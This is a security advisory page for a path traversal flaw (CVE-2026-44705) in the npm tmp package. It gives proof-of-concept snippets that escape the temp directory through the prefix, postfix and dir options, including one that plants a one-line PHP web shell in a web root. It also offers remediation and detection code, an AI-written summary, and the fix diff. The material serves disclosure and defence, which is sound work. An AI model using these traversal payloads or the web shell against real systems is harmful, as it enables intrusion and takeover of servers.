VYPR
High severity7.7GHSA Advisory· Published May 27, 2026· Updated May 27, 2026

tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape

CVE-2026-44705

Description

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow: 1. Filename Construction: tmp builds filenames as --- 2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name) 3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape 4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern: ``javascript // In tmp package internals const name = ${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir ``

Path Traversal Mechanics: - prefix/postfix traversal: ../../../evil in prefix escapes directory structure - Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely - Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text - Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points: - No input validation on prefix, postfix, or dir parameters - Direct use of user input in path construction - Reliance on path.join() normalization without containment checks - Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix: ``javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-- cleanup(); }); ``

Directory Escape via postfix: ``javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); ``

Absolute Path Bypass via dir: ``javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); ``

Advanced Multi-Vector Attack: ``javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); ``

Real-World Attack Simulation: ``javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ``

Impact

Arbitrary File Creation: - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning: - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart

2. Cache Poisoning: - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise: - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production

4. Container Escape Attempt: - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass: - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation

Business Impact: - Data Integrity: Unauthorized file placement can corrupt application state - Service Disruption: Files in wrong locations may break application functionality - Security Bypass: Escape temporary isolation boundaries - Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected

Products

  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact: - tmp.file() function - vulnerable to prefix/postfix/dir traversal - tmp.dir() function - vulnerable to same parameter manipulation - tmp.tmpName() function - if using affected path construction

Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

1. Sanitize prefix/postfix: ``javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } ``

2. Validate dir parameter: ``javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } ``

3. Post-construction path validation: ``javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } ``

Secure Implementation Pattern: ``javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } ``

Workarounds

For Application Developers:

1. Input Sanitization: ``javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } ``

2. Path Validation: ``javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } ``

3. Restricted Usage: ``javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); ``

For Security Teams:

1. Code Review Patterns: ``bash # Search for dangerous tmp usage grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" . grep -r "tmp\.dir.*opts\|tmp\.file.*opts" . ``

2. Runtime Monitoring: ``javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; ``

Detection and

Monitoring

Static Analysis: - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories

Runtime Detection: ``javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } ``

File System Monitoring: ``bash # Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then echo "Unexpected file creation: $file" fi done ``

Acknowledgements

Reported by: Mapta / BugBunny_ai

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

The tmp npm package allows path traversal via unsanitized prefix, postfix, or dir options, letting attackers create files outside the intended temporary directory.

Vulnerability

The tmp npm package (all versions prior to the fix) contains a path traversal vulnerability in its file and directory creation functions. When user-controlled data flows into the prefix, postfix, or dir options, traversal sequences (e.g., ../) or absolute paths can be injected. The package constructs filenames as --- and computes the final path via path.join(tmpDir, opts.dir || '', name). Without sanitization, path.join() normalizes traversal sequences, allowing escape from the configured temporary base directory [1][2].

Exploitation

An attacker needs to control the prefix, postfix, or dir parameters passed to tmp's file/directory creation functions. No authentication is required beyond the application's existing access to these options. The attacker supplies traversal sequences such as ../../../evil in prefix or postfix, or an absolute path in dir. When the application calls tmp, the resulting path escapes tmpDir, and the file or directory is created at the attacker-chosen location on the filesystem [1][2].

Impact

Successful exploitation allows an attacker to write files or create directories at arbitrary locations on the filesystem with the privileges of the running process. This can lead to overwriting critical files, planting malicious code (e.g., a web shell), or other unauthorized file operations. The vulnerability affects confidentiality, integrity, and availability depending on the attacker's goal [1][2].

Mitigation

The fix is included in a commit (efa4a06) that adds a _assertPath function to reject any path containing .. and validates that the dir option remains relative to the temporary directory. As of the available references, no official release version is explicitly mentioned; users should update to the patched version immediately or sanitize user input to prevent traversal sequences. If a patched version is not yet published, manually applying the commit or adding input validation (e.g., rejecting ../, ..\, or absolute paths) is advised [1][2][3].

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

1

Patches

1
efa4a06f2437

Merge commit from fork

https://github.com/raszi/node-tmpKARASZI IstvánMay 12, 2026via ghsa-ref
2 files changed · +44 5
  • lib/tmp.js+20 5 modified
    @@ -525,6 +525,19 @@ function _generateTmpName(opts) {
       return path.join(tmpDir, opts.dir, name);
     }
     
    +/**
    + * Check the prefix and postfix options
    + *
    + * @private
    + */
    +function _assertPath(path) {
    +  if (path.includes("..")) {
    +    throw new Error("Relative value not allowed");
    +  }
    +
    +  return path;
    +}
    +
     /**
      * Asserts and sanitizes the basic options.
      *
    @@ -539,8 +552,9 @@ function _assertOptionsBase(options) {
     
         // must not fail on valid .<name> or ..<name> or similar such constructs
         const basename = path.basename(name);
    -    if (basename === '..' || basename === '.' || basename !== name)
    +    if (basename === '..' || basename === '.' || basename !== name) {
           throw new Error(`name option must not contain a path, found "${name}".`);
    +    }
       }
     
       /* istanbul ignore else */
    @@ -561,8 +575,9 @@ function _assertOptionsBase(options) {
       options.unsafeCleanup = !!options.unsafeCleanup;
     
       // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
    -  options.prefix = _isUndefined(options.prefix) ? '' : options.prefix;
    -  options.postfix = _isUndefined(options.postfix) ? '' : options.postfix;
    +  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
    +  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
    +  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
     }
     
     /**
    @@ -578,7 +593,7 @@ function _getRelativePath(option, name, tmpDir, cb) {
     
         const relativePath = path.relative(tmpDir, resolvedPath);
     
    -    if (!resolvedPath.startsWith(tmpDir)) {
    +    if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
           return cb(new Error(`${option} option must be relative to "${tmpDir}", found "${relativePath}".`));
         }
     
    @@ -597,7 +612,7 @@ function _getRelativePathSync(option, name, tmpDir) {
       const resolvedPath = _resolvePathSync(name, tmpDir);
       const relativePath = path.relative(tmpDir, resolvedPath);
     
    -  if (!resolvedPath.startsWith(tmpDir)) {
    +  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
         throw new Error(`${option} option must be relative to "${tmpDir}", found "${relativePath}".`);
       }
     
    
  • test/GHSA-ph9p-34f9-6g65-test.js+24 0 added
    @@ -0,0 +1,24 @@
    +const assert = require('assert');
    +const tmp = require('../lib/tmp');
    +
    +describe('GHSA-ph9p-34f9-6g65', function () {
    +  describe('#fileSync with attacker `prefix`', function () {
    +    it('should not allow such prefixes', function (done) {
    +      assert.throws(function () {
    +        tmp.fileSync({ prefix: "../foo"});
    +      }, new RegExp('^Error: Relative value not allowed'));
    +
    +      done();
    +    });
    +  });
    +
    +  describe('#fileSync with attacker `postfix`', function () {
    +    it('should not allow such prefixes', function (done) {
    +      assert.throws(function () {
    +        tmp.fileSync({ postfix: "../foo"});
    +      }, new RegExp('^Error: Relative value not allowed'));
    +
    +      done();
    +    });
    +  });
    +});
    

Vulnerability mechanics

Root cause

"Missing input validation on prefix, postfix, and dir options allows path traversal sequences to escape the intended temporary directory."

Attack vector

An attacker supplies traversal sequences (e.g., `../`) in the `prefix`, `postfix`, or `dir` options passed to `tmp.file()`, `tmp.dir()`, or `tmp.tmpName()`. Node.js `path.join()` normalizes these sequences, causing the final file to be created outside the intended temporary base directory at an attacker-controlled location [ref_id=1]. If `opts.dir` is an absolute path, `path.join()` discards `tmpDir` entirely, enabling a direct bypass [ref_id=1]. The attack requires no authentication and can be triggered over the network whenever an application passes unsanitized user input to these tmp options [CWE-22].

Affected code

The vulnerability resides in `lib/tmp.js` where user-supplied `prefix`, `postfix`, and `dir` options are directly concatenated into file paths without sanitization. The path is built as `

What the fix does

The patch introduces a new `_assertPath()` function in `lib/tmp.js` that throws an error if the string contains `".."` [patch_id=2595959]. This check is applied to `options.prefix`, `options.postfix`, and `options.template` inside `_assertOptionsBase()`. Additionally, the containment check in `_getRelativePath()` and `_getRelativePathSync()` is strengthened: instead of testing `resolvedPath.startsWith(tmpDir)`, it now verifies that `path.relative(tmpDir, resolvedPath)` does not start with `".."` and is not absolute, correctly catching all escape variants [patch_id=2595959].

Preconditions

  • inputThe application must pass unsanitized user-controlled data into the prefix, postfix, or dir options of tmp's file/directory creation functions.
  • inputThe attacker must be able to supply arbitrary string values for these options (e.g., via HTTP request parameters, file upload metadata, or API inputs).

Reproduction

```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs');

// Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir);

// Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); cleanup(); }); ```

Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.